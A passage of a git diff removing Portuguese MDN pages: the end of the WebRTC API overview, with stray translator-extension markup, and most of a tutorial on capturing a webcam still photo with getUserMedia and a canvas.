-<p>Os fluxos de mídia podem ser constituídos de qualquer número de faixas de informações de mídia; As faixas, que são representadas por objetos com base na interface {{domxref("MediaStreamTrack")}} , podem conter um dos vários tipos de dados de mídia, incluindo áudio, vídeo e texto (como legendas ou nomes de capítulos) . A maioria dos fluxos consistem em pelo menos uma faixa de áudio e provavelmente também uma faixa de vídeo, e pode ser usados para enviar e receber mídia ao vivo ou informações de mídia armazenada (como um filme transmitido).</p>
-
-<p>Você também pode usar a conexão entre dois pares para trocar dados binários arbitrários usando a interface {{domxref("RTCDataChannel")}} . Isso pode ser usado para informações <em>back-channel</em>, troca de metadados, pacotes com status de jogos, transferências de arquivos ou mesmo como um canal primário para transferência de dados.</p>
-
-<p><em><strong>Mais detalhes e links para guias relevantes e tutoriais necessários</strong></em></p>
-
-<h2 id="Interfaces_de_WebRTC">Interfaces de WebRTC</h2>
-
-<p>Como a WebRTC fornece interfaces que trabalham juntas para realizar uma variedade de tarefas, dividimos as interfaces na lista abaixo por categoria. Veja a barra lateral para uma lista alfabética.</p>
-
-<h3 id="Gestão_e_configuração_de_ligação">Gestão e configuração de ligação</h3>
-
-<p>Essas interfaces são usadas para configurar, abrir e gerenciar conexões WebRTC.</p>
-
-<dl>
- <dt>{{domxref("RTCPeerConnection")}}</dt>
- <dd>Representa uma conexão WebRTC entre o computador local e um ponto remoto. Ele é usado para lidar com transmissão eficiente de dados entre os dois pares.</dd>
- <dt>{{domxref("RTCDataChannel")}}</dt>
- <dd>Representa um canal de dados bidirecional entre dois pares de uma conexão.</dd>
- <dt>{{domxref("RTCDataChannelEvent")}}</dt>
- <dd>Representa eventos que ocorrem ao anexar um {{domxref("RTCDataChannel")}} a um {{domxref("RTCPeerConnection")}} . O único evento enviado com esta interface é {{event("datachannel")}} .</dd>
- <dt>{{domxref("RTCSessionDescription")}}</dt>
- <dd>Representa os parâmetros de uma sessão. Cada RTCSessionDescription consiste em um tipo de descrição que indica qual parte do processo de negociação de oferta(offer) / resposta(answer) isso descreve e do SDP descritor da sessão.</dd>
- <dt>{{domxref("RTCStatsReport")}}</dt>
- <dd>Fornece informações detalhando estatísticas para uma conexão ou para uma faixa individual na conexão; O relatório pode ser obtido chamando {{domxref("RTCPeerConnection.getStats()")}} .</dd>
- <dt>{{domxref("RTCIceCandidate")}}</dt>
- <dd>Representa um servidor candidato que estabelece a conectividade de internet (ICE -internet connectivity establishment) para estabelecer um {{domxref("RTCPeerConnection")}} .</dd>
- <dt>{{domxref("RTCIceTransport")}}</dt>
- <dd>Representa informações sobre o transporte referentes ao estabelecimento de conectividade de internet (ICE - internet connectivity establishment).</dd>
- <dt>{{domxref("RTCPeerConnectionIceEvent")}}</dt>
- <dd>Representa eventos que ocorrem em relação aos candidatos ICE com o destino, geralmente um {{domxref("RTCPeerConnection")}} . Apenas um evento é deste tipo: {{event("icecandidate")}} .</dd>
- <dt>{{domxref("RTCRtpSender")}}</dt>
- <dd>Gerencia a codificação e a transmissão de dados para um {{domxref("MediaStreamTrack")}} em {{domxref("RTCPeerConnection")}}.</dd>
- <dt>{{domxref("RTCRtpReceiver")}}</dt>
- <dd>Gerencia a recepção e decodificação de dados para um {{domxref("MediaStreamTrack")}} em um {{domxref("RTCPeerConnection")}}.</dd>
- <dt>{{domxref("RTCTrackEvent")}}</dt>
- <dd>Indica que uma nova entrada {{domxref("MediaStreamTrack")}} foi criada e um objeto associado {{domxref("RTCRtpReceiver")}} foi adicionado ao objeto {{domxref("RTCPeerConnection")}} .</dd>
-</dl>
-
-<h3 id="Identidade_e_segurança">Identidade e segurança</h3>
-
-<p>A API WebRTC inclui uma série de interfaces para gerenciar segurança e identidade.</p>
-
-<dl>
- <dt>{{domxref("RTCIdentityProvider")}}</dt>
- <dd>Permite que um agente do usuário possa solicitar que uma confirmação de identidade seja gerada ou validada.</dd>
- <dt>{{domxref("RTCIdentityAssertion")}}</dt>
- <dd>Representa a identidade de um ponto remoto da conexão atual. Caso nenhum par (peer) seja configurado e verificado, esta interface retorna <em>null</em>. Uma vez configurado, este não poderá ser alterado.</dd>
- <dt>{{domxref("RTCIdentityProviderRegistrar")}}</dt>
- <dd>Registra um provedor de identidade (idP).</dd>
- <dt>{{domxref("RTCIdentityEvent")}}</dt>
- <dd>Representa uma confirmação de identidade gerada por um provedor de identidade (idP). Isso geralmente é para um {{domxref("RTCPeerConnection")}}. O único evento enviado com este tipo é {{event("identityresult")}}.</dd>
- <dt>{{domxref("RTCIdentityErrorEvent")}}</dt>
- <dd>Representa um erro associado ao provedor de identidade (idP). Isso geralmente é para um {{domxref("RTCPeerConnection")}} . Dois eventos são enviados com este tipo: {{event("idpassertionerror")}} e {{event("idpvalidationerror")}} .</dd>
- <dt>{{domxref("RTCCertificate")}}</dt>
- <dd>Representa um certificado que um {{domxref("RTCPeerConnection")}} usa para autenticar.</dd>
-</dl>
-
-<h3 id="Telefonia">Telefonia</h3>
-
-<p>Essas interfaces estão relacionadas à interatividade com redes telefônicas de comutação pública (PTSNs).</p>
-
-<dl>
- <dt>{{domxref("RTCDTMFSender")}}</dt>
- <dd>Gerencia a codificação e a transmissão da sinalização multi-frequência de dois tons (DTMF) para um {{domxref("RTCPeerConnection")}}.</dd>
- <dt>{{domxref("RTCDTMFToneChangeEvent")}}</dt>
- <dd>Indica uma ocorrência de uma multi-frequência de dois tons (DTMF). Este evento não faz bolha (bubble) (exceto quando indicado de outra forma) e não é cancelável (exceto quando indicado de outra forma).</dd>
-</dl>
-
-<h3 id="Outros">Outros</h3>
-
-<dl>
- <dt>{{domxref("RTCIceServer")}}</dt>
- <dd>Define como ligar a um único servidor de ICE (tais como um servidor STUN ou TURN).</dd>
-</dl>
-
-<p> </p>
-
-<h2 id="Guias">Guias</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/API/WebRTC_API/Protocols">Introduction to WebRTC protocols</a></dt>
- <dd>This article introduces the protocols on top of which the WebRTC API is built.</dd>
- <dt><a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a></dt>
- <dd>A guide to how WebRTC connections work and how the various protocols and interfaces can be used together to build powerful communication apps.</dd>
- <dt><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></dt>
- <dd>WebRTC lets you build peer-to-peer communication of arbitrary data, audio, or video—or any combination thereof—into a browser application. In this article, we'll look at the lifetime of a WebRTC session, from establishing the connection all the way through closing the connection when it's no longer needed.</dd>
- <dt><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and two-way video calling</a></dt>
- <dd>A tutorial and example which turbs a WebSocket-based chat system created for a previous example and adds support for opening video calls among participants. The chat server's WebSocket connection is used for WebRTC signaling.</dd>
- <dt><a href="/en-US/docs/Web/API/WebRTC_API/Using_data_channels">Using WebRTC data channels</a></dt>
- <dd>This guide covers how you can use a peer connection and an associated {{domxref("RTCDataChannel")}} to exchange arbitrary data between two peers.</dd>
- <dt><a href="/en-US/docs/Web/API/WebRTC_API/Using_DTMF">Using DTMF with WebRTC</a></dt>
- <dd>WebRTC's support for interacting with gateways that link to old-school telephone systems includes support for sending DTMF tones using the {{domxref("RTCDTMFSender")}} interface. This guide shows how to do so.</dd>
-</dl>
-
-<h2 id="Tutoriais">Tutoriais</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/API/WebRTC_API/adapter.js">Improving compatibility using WebRTC adapter.js</a></dt>
- <dd>The WebRTC organization <a href="https://github.com/webrtc/adapter/">provides on GitHub the WebRTC adapter</a> to work around compatibility issues in different browsers' WebRTC implementations. The adapter is a JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with WebRTC support.</dd>
- <dt><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Taking still photos with WebRTC</a></dt>
- <dd>This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it.</dd>
- <dt><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></dt>
- <dd>The {{domxref("RTCDataChannel")}} interface is a feature which lets you open a channel between two peers over which you may send and receive arbitrary data. The API is intentionally similar to the <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, so that the same programming model can be used for each.</dd>
-</dl>
-
-<h2 id="Recursos">Recursos</h2>
-
-<h3 id="Protocolos">Protocolos</h3>
-
-<h4 id="WebRTC-proper_protocols">WebRTC-proper protocols</h4>
-
-<ul>
- <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-alpn/"><cite>Application Layer Protocol Negotiation for Web Real-Time Communications</cite></a></li>
- <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-audio/"><cite>WebRTC Audio Codec and Processing Requirements</cite></a></li>
- <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-channel/"><cite>RTCWeb Data Channels</cite></a></li>
- <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-protocol/"><cite>RTCWeb Data Channel Protocol</cite></a></li>
- <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-rtp-usage/"><cite>Web Real-Time Communication (WebRTC): Media Transport and Use of RTP</cite></a></li>
- <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-security-arch/"><cite>WebRTC Security Architecture</cite></a></li>
- <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-transports/"><cite>Transports for RTCWEB</cite></a></li>
-</ul>
-
-<h4 id="Related_supporting_protocols">Related supporting protocols</h4>
-
-<ul>
- <li><a href="https://tools.ietf.org/html/rfc5245">Interactive Connectivity Establishment (ICE): A Protocol for Network Address Translator (NAT) Traversal for Offer/Answer Protocol</a></li>
- <li><a href="https://tools.ietf.org/html/rfc5389"><cite>Session Traversal Utilities for NAT (STUN)</cite></a></li>
- <li><a href="https://tools.ietf.org/html/rfc7064"><cite>URI Scheme for the Session Traversal Utilities for NAT (STUN) Protocol</cite></a></li>
- <li><a href="https://tools.ietf.org/html/rfc7065"><cite>Traversal Using Relays around NAT (TURN) Uniform Resource Identifiers</cite></a></li>
- <li><a href="https://tools.ietf.org/html/rfc3264"><cite>An Offer/Answer Model with Session Description Protocol (SDP)</cite></a></li>
- <li><a href="https://datatracker.ietf.org/doc/draft-ietf-tram-turn-third-party-authz/"><cite>Session Traversal Utilities for NAT (STUN) Extension for Third Party Authorization</cite></a></li>
-</ul>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('WebRTC 1.0')}}</td>
- <td>{{Spec2('WebRTC 1.0')}}</td>
- <td>A definição inicial da API do WebRTC.</td>
- </tr>
- <tr>
- <td>{{SpecName('Media Capture')}}</td>
- <td>{{Spec2('Media Capture')}}</td>
- <td>A definição inicial do objeto que transmite o fluxo de conteúdo de mídia.</td>
- </tr>
- <tr>
- <td>{{SpecName('Media Capture DOM Elements')}}</td>
- <td>{{Spec2('Media Capture DOM Elements')}}</td>
- <td>A definição inicial sobre como obter fluxo de conteúdo de Elementos DOM</td>
- </tr>
- </tbody>
-</table>
-
-<p>Em adição a estas especificações que definem a API necessária para usar o WebRTC, existem vários protocolos, listados em <a href="#Protocols">recursos</a>.</p>
-
-<h2 class="Related_Topics" id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{domxref("MediaDevices")}}</li>
- <li>{{domxref("MediaStreamEvent")}}</li>
- <li>{{domxref("MediaStreamConstraints")}}</li>
- <li>{{domxref("MediaStreamTrack")}}</li>
- <li>{{domxref("MessageEvent")}}</li>
- <li>{{domxref("MediaStream")}}</li>
- <li><a href="https://hacks.mozilla.org/2015/06/firefox-multistream-and-renegotiation-for-jitsi-videobridge/">Firefox multistream and renegotiation for Jitsi Videobridge</a></li>
- <li><a href="https://hacks.mozilla.org/2015/04/peering-through-the-webrtc-fog-with-socketpeer/">Peering Through the WebRTC Fog with SocketPeer</a></li>
- <li><a href="https://hacks.mozilla.org/2014/04/inside-the-party-bus-building-a-web-app-with-multiple-live-video-streams-interactive-graphics/">Inside the Party Bus: Building a Web App with Multiple Live Video Streams + Interactive Graphics</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/webrtc_api/taking_still_photos/index.html b/files/pt-pt/web/api/webrtc_api/taking_still_photos/index.html
deleted file mode 100644
index 6ee8a1f0e8..0000000000
--- a/files/pt-pt/web/api/webrtc_api/taking_still_photos/index.html
+++ /dev/null
@@ -1,223 +0,0 @@
----
-title: Tirar fotografias com a câmara da Web
-slug: Web/API/WebRTC_API/Taking_still_photos
-tags:
- - API
- - Avançado
- - Código amostra
- - Exemplo
- - Vídeo(2)
- - WebRTC
- - cãmara da Web
-translation_of: Web/API/WebRTC_API/Taking_still_photos
-original_slug: Web/API/API_WebRTC/Tirar_fotografias
----
-<p>{{WebRTCSidebar}}</p>
-
-<p><span class="seoSummary">This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it.</span> <a href="https://mdn-samples.mozilla.org/s/webrtc-capturestill">Try this sample</a> then read on to learn how it works.</p>
-
-<p>You can also jump straight to the <a class="external" href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill" rel="noopener">code on Github</a> if you like.</p>
-
-<h2 id="The_HTML_markup">The HTML markup</h2>
-
-<p><a class="external" href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill/index.html" rel="noopener">Our HTML interface</a> has two main operational sections: the stream and capture panel and the presentation panel. Each of these is presented side-by-side in its own {{HTMLElement("div")}} to facilitate styling and control.</p>
-
-<p>The first panel on the left contains two components: a {{HTMLElement("video")}} element, which will receive the stream from WebRTC, and a {{HTMLElement("button")}} the user clicks to capture a video frame.</p>
-
-<pre class="brush: html">  &lt;div class="camera"&gt;
-    &lt;video id="video"&gt;Video stream not available.&lt;/video&gt;
-    &lt;button id="startbutton"&gt;Take photo&lt;/button&gt;
-  &lt;/div&gt;</pre>
-
-<p>This is straightforward, and we'll see how it ties together when we get into the JavaScript code.</p>
-
-<p>Next, we have a {{HTMLElement("canvas")}} element into which the captured frames are stored, potentially manipulated in some way, and then converted into an output image file. This canvas is kept hidden by styling the canvas with {{cssxref("display")}}<code>:none</code>, to avoid cluttering up the screen — the user does not need to see this intermediate stage.</p>
-
-<p>We also have an {{HTMLElement("img")}} element into which we will draw the image — this is the final display shown to the user.</p>
-
-<pre class="brush: html">  &lt;canvas id="canvas"&gt;
-  &lt;/canvas&gt;
-  &lt;div class="output"&gt;
-    &lt;img id="photo" alt="The screen capture will appear in this box."&gt;
-  &lt;/div&gt;</pre>
-
-<p>That's all of the relevant HTML. The rest is just some page layout fluff and a bit of text offering a link back to this page.</p>
-
-<h2 id="O_código_de_JavaScript"><span style="font-size: 30px;">O código de JavaScript</span></h2>
-
-<p>Now let's take a look at the <a class="external" href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill/capture.js" rel="noopener">JavaScript code</a>. We'll break it up into a few bite-sized pieces to make it easier to explain.</p>
-
-<h3 id="Initialização">Initialização</h3>
-
-<p>We start by wrapping the whole script in an anonymous function to avoid global variables, then setting up various variables we'll be using.</p>
-
-<pre class="brush: js">(function() {
- var width = 320; // We will scale the photo width to this
- var height = 0; // This will be computed based on the input stream
-
- var streaming = false;
-
- var video = null;
- var canvas = null;
- var photo = null;
- var startbutton = null;</pre>
-
-<p>Those variables are:</p>
-
-<dl>
- <dt><code>largura</code></dt>
- <dd>Whatever size the incoming video is, we're going to scale the resulting image to be 320 pixels wide.</dd>
- <dt><code>altura</code></dt>
- <dd>The output height of the image will be computed given the <code>width</code> and the aspect ratio of the stream.</dd>
- <dt><code>transmissão</code></dt>
- <dd>Indicates whether or not there is currently an active stream of video running.</dd>
- <dt><code>vídeo</code></dt>
- <dd>This will be a reference to the {{HTMLElement("video")}} element after the page is done loading.</dd>
- <dt><code>canvas</code></dt>
- <dd>This will be a reference to the {{HTMLElement("canvas")}} element after the page is done loading.</dd>
- <dt><code>foto</code></dt>
- <dd>This will be a reference to the {{HTMLElement("img")}} element after the page is done loading.</dd>
- <dt><code>startbutton</code></dt>
- <dd>This will be a reference to the {{HTMLElement("button")}} element that's used to trigger capture. We'll get that after the page is done loading.</dd>
-</dl>
-
-<h3 id="The_startup()_function">The startup() function</h3>
-
-<p>The <code>startup()</code> function is run when the page has finished loading, courtesy of {{domxref("window.addEventListener()")}}. This function's job is to request access to the user's webcam, initialize the output {{HTMLElement("img")}} to a default state, and to establish the event listeners needed to receive each frame of video from the camera and react when the button is clicked to capture an image.</p>
-
-<h4 id="Getting_element_references">Getting element references</h4>
-
-<p>First, we grab references to the major elements we need to be able to access.</p>
-
-<pre class="brush: js"> function startup() {
- video = document.getElementById('video');
- canvas = document.getElementById('canvas');
- photo = document.getElementById('photo');
- startbutton = document.getElementById('startbutton');</pre>
-
-<h4 id="Get_the_media_stream">Get the media stream</h4>
-
-<p>The next task is to get the media stream:</p>
-
-<pre class="brush: js"> navigator.mediaDevices.getUserMedia({ video: true, audio: false })
- .then(function(stream) {
- video.srcObject = stream;
- video.play();
- })
- .catch(function(err) {
- console.log("An error occured! " + err);
- });
-</pre>
-
-<p>Here, we're calling {{domxref("MediaDevices.getUserMedia()")}} and requesting a video stream (without audio). It returns a promise which we attach success and failure callbacks to.</p>
-
-<p>The success callback receives a <code>stream</code> object as input. It the {{HTMLElement("video")}} element's source to our new stream.</p>
-
-<p>Once the stream is linked to the <code>&lt;video&gt;</code> element, we start it playing by calling <code><a href="/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code>.</p>
-
-<p>The error callback is called if opening the stream doesn't work. This will happen for example if there's no compatible camera connected, or the user denied access.</p>
-
-<h4 id="Listen_for_the_video_to_start_playing">Listen for the video to start playing</h4>
-
-<p>After calling <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code> on the {{HTMLElement("video")}}, there's a (hopefully brief) period of time that elapses before the stream of video begins to flow. To avoid blocking until that happens, we add an event listener to <code>video</code>, <code>canplay</code>, which is delivered when the video playback actually begins. At that point, all the properties in the <code>video</code> object have been configured based on the stream's format.</p>
-
-<pre class="brush: js"> video.addEventListener('canplay', function(ev){
- if (!streaming) {
- height = video.videoHeight / (video.videoWidth/width);
-
- video.setAttribute('width', width);
- video.setAttribute('height', height);
- canvas.setAttribute('width', width);
- canvas.setAttribute('height', height);
- streaming = true;
- }
- }, false);</pre>
-
-<p>This callback does nothing unless it's the first time it's been called; this is tested by looking at the value of our <code>streaming</code> variable, which is <code>false</code> the first time this method is run.</p>
-
-<p>If this is indeed the first run, we set the video's height based on the size difference between the video's actual size, <code>video.videoWidth</code>, and the width at which we're going to render it, <code>width</code>.</p>
-
-<p>Finally, the <code>width</code> and <code>height</code> of both the video and the canvas are set to match each other by calling {{domxref("Element.setAttribute()")}} on each of the two properties on each element, and setting widths and heights as appropriate. Finally, we set the <code>streaming</code> variable to <code>true</code> to prevent us from inadvertently running this setup code again.</p>
-
-<h4 id="Handle_clicks_on_the_button">Handle clicks on the button</h4>
-
-<p>To capture a still photo each time the user clicks the <code>startbutton</code>, we need to add an event listener to the button, to be called when the <code>click</code> event is issued:</p>
-
-<pre class="brush: js"> startbutton.addEventListener('click', function(ev){
- takepicture();
- ev.preventDefault();
- }, false);</pre>
-
-<p>This method is simple enough: it just calls our <code>takepicture()</code> function, defined below in the section {{anch("Capturing a frame from the stream")}}, then calls {{domxref("Event.preventDefault()")}} on the received event to prevent the click from being handled more than once.</p>
-
-<h4 id="Wrapping_up_the_startup()_method">Wrapping up the startup() method</h4>
-
-<p>There are only two more lines of code in the <code>startup()</code> method:</p>
-
-<pre class="brush: js"> clearphoto();
- }</pre>
-
-<p>This is where we call the <code>clearphoto()</code> method we'll describe below in the section {{anch("Clearing the photo box")}}.</p>
-
-<h3 id="Clearing_the_photo_box">Clearing the photo box</h3>
-
-<p>Clearing the photo box involves creating an image, then converting it into a format usable by the {{HTMLElement("img")}} element that displays the most recently captured frame. That code looks like this:</p>
-
-<pre class="brush: js"> function clearphoto() {
- var context = canvas.getContext('2d');
- context.fillStyle = "#AAA";
- context.fillRect(0, 0, canvas.width, canvas.height);
-
- var data = canvas.toDataURL('image/png');
- photo.setAttribute('src', data);
- }</pre>
-
-<p>We start by getting a reference to the hidden {{HTMLElement("canvas")}} element that we use for offscreen rendering.  Next we set the <code>fillStyle</code> to <code>#AAA</code> (a fairly light grey), and fill the entire canvas with that color by calling {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.</p>
-
-<p>Last in this function, we convert the canvas into a PNG image and call <code>{{domxref("Element.setAttribute", "photo.setAttribute()")}}</code> to make our captured still box display the image.</p>
-
-<h3 id="Capturing_a_frame_from_the_stream">Capturing a frame from the stream</h3>
-
-<p>There's one last function to define, and it's the point to the entire exercise: the <code>takepicture()</code> function, whose job it is to capture the currently displayed video frame, convert it into a PNG file, and display it in the captured frame box. The code looks like this:</p>
-
-<pre class="brush: js"> function takepicture() {
- var context = canvas.getContext('2d');
- if (width &amp;&amp; height) {
- canvas.width = width;
- canvas.height = height;
- context.drawImage(video, 0, 0, width, height);
-
- var data = canvas.toDataURL('image/png');
- photo.setAttribute('src', data);
- } else {
- clearphoto();
- }
- }</pre>
-
